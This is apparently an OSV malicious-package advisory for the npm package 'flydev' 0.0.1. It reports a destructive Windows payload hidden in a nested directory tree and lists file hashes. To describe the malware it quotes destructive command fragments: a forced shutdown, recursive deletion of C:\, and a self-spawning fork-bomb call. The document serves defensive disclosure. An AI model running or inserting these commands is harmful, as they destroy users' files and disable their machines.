{"id":"MAL-2026-14243","summary":"Malicious code in flydev (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7e8d7456b5f0f3d2d3115eed9624272036cad1316cd50ee05e4134e5fa30f8ca)\nThe package advertises itself as a generic 'Utility' but ships a purely destructive payload hidden under a deeply nested single-letter directory tree (public/a/b/.../z/). Its only exported function invokes 26 sibling modules that target Windows hosts: forced reboot via `execSync('shutdown /r /f /t 0')`, recursive file destruction via `execSync('del /F /S /Q C:\\*.*')` and `fs.unlinkSync` walks, termination of critical system processes (explorer, dwm, csrss) via wmic, memory exhaustion via unbounded array allocation loops, and a self-replicating fork bomb in i.js that runs `spawn(process.argv[0], [__filename], {detached:true}).unref()` in a `cpus*200` loop together with ~1000 detached `cmd` and ~500 detached `powershell` infinite-loop children (y.js). The package has no legitimate functionality; the cover-story name and hidden path structure indicate deliberate deception. Invocation of the package's exported API destroys the caller's filesystem, kills core OS processes, and drives the machine into an unrecoverable reboot loop / process explosion.\n","modified":"2026-08-19T04:30:10.901864882Z","published":"2026-08-19T04:08:23Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-08-19T04:08:23Z","sha256":"7e8d7456b5f0f3d2d3115eed9624272036cad1316cd50ee05e4134e5fa30f8ca","source":"amazon-inspector","versions":["0.0.1"],"id":"IN-MAL-2026-018356","import_time":"2026-08-19T04:18:14.101434519Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/flydev/v/0.0.1"}],"affected":[{"package":{"name":"flydev","ecosystem":"npm","purl":"pkg:npm/flydev"},"versions":["0.0.1"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"sha256":"1fa988684db319f880db6cd7791869a52e685ea1108b59e6a76e8de1f524a5ac","tlsh":"79f0ac7437844806d328c8d752322b23e0e2b5b7bec08cd0c61cbae3490e95b96869b8","path":"public/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/i.js"}],"package_integrity":[{"filename":"flydev-0.0.1.tgz","hashes":{"sha1":"d1982d2565338206a65b3cd1292f49f639287eb5","sha512_sri":"sha512-AhOixQZw5gn3HPM/lXzKyy3mZsA8z8uiKiTKi7EEom/8e/2o1jioaXYb8B+9UKgw4BuZj3R8lNxcE3B7Skwevg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/flydev/MAL-2026-14243.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}